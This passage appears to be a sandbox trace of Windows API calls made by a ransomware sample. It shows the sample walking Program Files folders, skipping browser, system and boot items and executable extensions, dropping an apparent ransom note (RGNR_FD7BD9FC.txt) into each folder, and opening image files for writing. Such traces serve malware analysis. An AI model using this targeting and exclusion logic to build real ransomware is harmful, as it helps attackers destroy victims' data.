lpString2="..") returned 1 [0078.782] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0078.783] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2=".") returned 1 [0078.783] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="..") returned 1 [0078.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0078.783] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2=".") returned 1 [0078.783] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="..") returned 1 [0078.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.783] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2=".") returned 1 [0078.783] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="..") returned 1 [0078.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0078.783] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2=".") returned 1 [0078.783] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="..") returned 1 [0078.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0078.783] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2=".") returned 1 [0078.783] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="..") returned 1 [0078.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0078.783] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2=".") returned 1 [0078.783] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="..") returned 1 [0078.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0078.783] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2=".") returned 1 [0078.783] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="..") returned 1 [0078.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0078.783] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2=".") returned 1 [0078.783] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="..") returned 1 [0078.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0078.783] lstrcmpiW (lpString1="Dot.png", lpString2=".") returned 1 [0078.783] lstrcmpiW (lpString1="Dot.png", lpString2="..") returned 1 [0078.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0078.783] lstrcmpiW (lpString1="DvdTransform.fx", lpString2=".") returned 1 [0078.783] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="..") returned 1 [0078.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0078.783] lstrcmpiW (lpString1="FlipPage", lpString2=".") returned 1 [0078.783] lstrcmpiW (lpString1="FlipPage", lpString2="..") returned 1 [0078.783] lstrcmpiW (lpString1="FlipPage", lpString2="Windows") returned -1 [0078.783] lstrcmpiW (lpString1="FlipPage", lpString2="Windows.old") returned -1 [0078.783] lstrcmpiW (lpString1="FlipPage", lpString2="Tor browser") returned -1 [0078.783] lstrcmpiW (lpString1="FlipPage", lpString2="Internet Explorer") returned -1 [0078.784] lstrcmpiW (lpString1="FlipPage", lpString2="Google") returned -1 [0078.784] lstrcmpiW (lpString1="FlipPage", lpString2="Opera") returned -1 [0078.784] lstrcmpiW (lpString1="FlipPage", lpString2="Opera Software") returned -1 [0078.784] lstrcmpiW (lpString1="FlipPage", lpString2="Mozilla") returned -1 [0078.784] lstrcmpiW (lpString1="FlipPage", lpString2="Mozilla Firefox") returned -1 [0078.784] lstrcmpiW (lpString1="FlipPage", lpString2="$Recycle.Bin") returned 1 [0078.784] lstrcmpiW (lpString1="FlipPage", lpString2="ProgramData") returned -1 [0078.784] lstrcmpiW (lpString1="FlipPage", lpString2="All Users") returned 1 [0078.784] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.784] lstrcpyW (in: lpString1=0x1eb620, lpString2="FlipPage" | out: lpString1="FlipPage") returned="FlipPage" [0078.784] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\" [0078.784] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\" [0078.784] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\RGNR_FD7BD9FC.txt" [0078.784] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.787] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*" [0078.787] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.787] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.788] lstrcpyW (in: lpString1=0x1ea746, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.788] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8132fe00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8132fe00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.788] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.788] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8132fe00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8132fe00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.788] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.788] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.788] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0078.788] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0078.788] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0078.788] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0078.788] lstrcmpiW (lpString1="203x8subpicture.png", lpString2=".") returned 1 [0078.788] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="..") returned 1 [0078.788] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.788] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0078.788] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0078.788] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.788] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0078.788] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0078.788] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.788] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0078.788] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0078.788] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.788] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0078.788] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0078.788] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.788] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0078.788] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0078.788] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.788] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0078.788] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0078.789] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1 [0078.789] lstrcmpiW (lpString1="pagecurl.png", lpString2=".") returned 1 [0078.789] lstrcmpiW (lpString1="pagecurl.png", lpString2="..") returned 1 [0078.789] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8132fe00, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8132fe00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.789] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.789] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.789] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8132fe00, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8132fe00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.789] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.789] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8132fe00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8132fe00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.789] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8132fe00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8132fe00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.789] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0078.789] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.789] lstrcpyW (in: lpString1=0x1eab5a, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0078.789] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png") returned=".png" [0078.789] lstrcmpiW (lpString1="1047x576black.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.789] lstrcmpiW (lpString1="1047x576black.png", lpString2="autorun.inf") returned -1 [0078.789] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0078.789] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootfont.bin") returned -1 [0078.789] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootsect.bak") returned -1 [0078.789] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0078.789] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr.efi") returned -1 [0078.789] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgfw.efi") returned -1 [0078.789] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0078.789] lstrcmpiW (lpString1="1047x576black.png", lpString2="iconcache.db") returned -1 [0078.789] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0078.789] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0078.789] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat.log") returned -1 [0078.789] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.ini") returned -1 [0078.789] lstrcmpiW (lpString1="1047x576black.png", lpString2="thumbs.db") returned -1 [0078.789] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.789] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.790] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.790] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.790] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.790] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.790] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png")) returned 0x20 [0078.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.790] CloseHandle (hObject=0xffffffff) returned 0 [0078.791] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" 